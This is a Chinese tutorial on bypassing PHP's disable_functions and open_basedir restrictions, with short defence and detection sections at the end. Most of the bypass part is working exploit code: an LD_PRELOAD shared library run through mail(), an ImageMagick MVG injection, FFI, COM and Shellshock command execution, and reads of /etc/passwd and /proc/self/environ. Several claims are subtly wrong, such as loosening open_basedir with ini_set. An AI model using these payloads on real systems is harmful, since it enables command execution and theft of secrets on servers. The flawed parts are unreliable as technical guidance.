php的两个bypass总结
字数 1730 2025-08-09 16:00:20
PHP 安全限制绕过技术详解:disable_functions 与 open_basedir
1. disable_functions 绕过技术
1.1 基本概念
disable_functions 是 PHP 配置中用于禁用危险函数的安全机制,在 php.ini 中设置。被禁用的函数将无法在 PHP 脚本中调用,常用于防止命令执行、文件操作等危险操作。
1.2 常见绕过方法
1.2.1 LD_PRELOAD 环境变量利用
原理:通过 LD_PRELOAD 环境变量预先加载自定义的共享库,劫持库函数调用。
实现步骤:
- 编写恶意共享库(.so 文件)
- 使用 putenv() 设置 LD_PRELOAD 环境变量
- 通过 mail() 或 error_log() 等函数触发新进程加载
示例代码:
// evil.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void _init() {
unsetenv("LD_PRELOAD");
system("id");
}
编译:gcc -shared -fPIC evil.c -o evil.so
PHP 调用:
<?php
putenv("LD_PRELOAD=/path/to/evil.so");
mail("","","","");
?>
1.2.2 ImageMagick 漏洞利用
适用条件:服务器安装了存在漏洞的 ImageMagick 版本
利用方式:
<?php
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|id")'
pop graphic-context
EOF;
file_put_contents("exploit.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('exploit.mvg');
?>
1.2.3 FFI 扩展利用
要求:PHP 7.4+ 并启用 FFI 扩展
示例:
<?php
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("id");
?>
1.2.4 COM 组件利用(Windows)
要求:Windows 系统 + 启用 COM 扩展
示例:
<?php
$wsh = new COM('WScript.Shell');
$exec = $wsh->Exec('cmd /c whoami');
echo $exec->StdOut->ReadAll();
?>
1.2.5 Shellshock 漏洞利用
适用条件:存在 Shellshock 漏洞的 bash 环境
示例:
<?php
function shellshock($cmd) {
$tmp = tempnam(sys_get_temp_dir(), 'sh');
file_put_contents($tmp, $cmd);
putenv("PHP_SHELLSHOCK=() { :; }; $tmp");
mail('','','','');
unlink($tmp);
}
shellshock('id');
?>
1.3 其他绕过技术
- pcntl_exec:如果未被禁用,可直接执行程序
- imap_open:通过特殊构造的参数执行命令
- Windows 组件:如
dotnet、wmi等扩展 - 反序列化漏洞:利用存在问题的类进行 RCE
2. open_basedir 绕过技术
2.1 基本概念
open_basedir 是 PHP 限制文件系统访问的配置,将 PHP 脚本的文件操作限制在指定目录及其子目录中。
2.2 常见绕过方法
2.2.1 符号链接攻击
原理:利用符号链接突破目录限制
实现步骤:
- 在允许目录创建符号链接
- 通过符号链接访问受限文件
示例:
<?php
symlink('/etc/passwd', 'allowed_dir/passwd.link');
echo file_get_contents('allowed_dir/passwd.link');
?>
2.2.2 glob:// 协议利用
原理:glob 协议可以绕过部分目录限制
示例:
<?php
$fi = new FilesystemIterator('glob:///*');
foreach($fi as $f) {
echo $f->getPathname()."\n";
}
?>
2.2.3 目录遍历函数组合
常用函数组合:
<?php
// 使用 realpath() 获取真实路径
$path = realpath('/etc/passwd');
// 使用 ini_set() 临时修改配置
ini_set('open_basedir', '/:/proc/self');
// 使用 DirectoryIterator 遍历
$dir = new DirectoryIterator('/');
foreach($dir as $file) {
echo $file->getFilename()."\n";
}
?>
2.2.4 UDF 函数绕过
原理:通过 MySQL UDF 执行系统命令
步骤:
- 上传恶意 so 文件到 MySQL 插件目录
- 创建 UDF 函数
- 调用函数执行命令
2.2.5 /proc/self 目录利用
示例:
<?php
// 读取进程环境变量
echo file_get_contents('/proc/self/environ');
// 通过 mem 文件获取内存信息
echo file_get_contents('/proc/self/mem');
?>
2.3 其他绕过技术
- 错误配置利用:当 open_basedir 设置不完整时
- chdir() 与 ini_set() 组合:动态修改当前目录
- SplFileInfo 类:通过对象方法访问文件
- realpath cache:利用缓存机制绕过检查
3. 防御措施
3.1 针对 disable_functions 绕过的防御
- 定期更新 PHP 版本和扩展
- 禁用不必要的扩展(如 FFI、COM)
- 使用 Suhosin 等强化补丁
- 限制危险环境变量的使用(LD_PRELOAD)
- 实施严格的权限控制
3.2 针对 open_basedir 绕过的防御
- 正确设置 open_basedir(包含所有必要路径)
- 禁用不必要的协议(如 glob://)
- 限制符号链接的使用
- 使用 chroot 等更严格的隔离机制
- 定期审计文件操作日志
4. 检测与验证
4.1 检测 disable_functions 配置
<?php
print_r(ini_get('disable_functions'));
?>
4.2 检测 open_basedir 配置
<?php
print_r(ini_get('open_basedir'));
?>
4.3 测试绕过是否成功
建议在受控环境中测试,使用无害命令如 id、whoami 等验证。
5. 总结
本文详细介绍了 PHP 安全限制 bypass 的技术方法,包括 disable_functions 和 open_basedir 的多种绕过方式。这些技术既可用于安全测试,也可帮助管理员更好地加固系统。在实际应用中,应当遵守法律法规,仅在授权范围内进行测试。